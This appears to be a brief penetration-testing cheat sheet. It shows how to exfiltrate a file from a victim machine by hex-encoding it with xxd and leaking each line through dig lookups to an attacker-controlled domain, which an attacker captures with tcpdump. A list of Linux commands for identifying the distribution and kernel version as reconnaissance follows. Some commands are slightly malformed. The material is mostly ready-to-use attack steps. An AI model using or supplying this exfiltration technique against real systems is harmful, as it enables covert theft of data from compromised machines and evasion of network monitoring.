Cynesiz

On victim:
1. Hex encode the file to be transferred: 
xxd -p secret file.hex
2. Read in each line and do a DNS lookup:
for b in 'cat file.hex'; do dig $b.shell.evilexample.com;done

On attacker:
1. Capture DNS exfil packets
tcpdump -w /tmp/dns -s0 port 53 and host system.example.com
2. Cut the exfilled hex from the DNS packet

Cynesiz

// Determine linux distribution and version
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release
cat /etc/redhat-release

// Determine kernel version - 32 or 64-bit?
cat /proc/version
uname -a
uname -mrs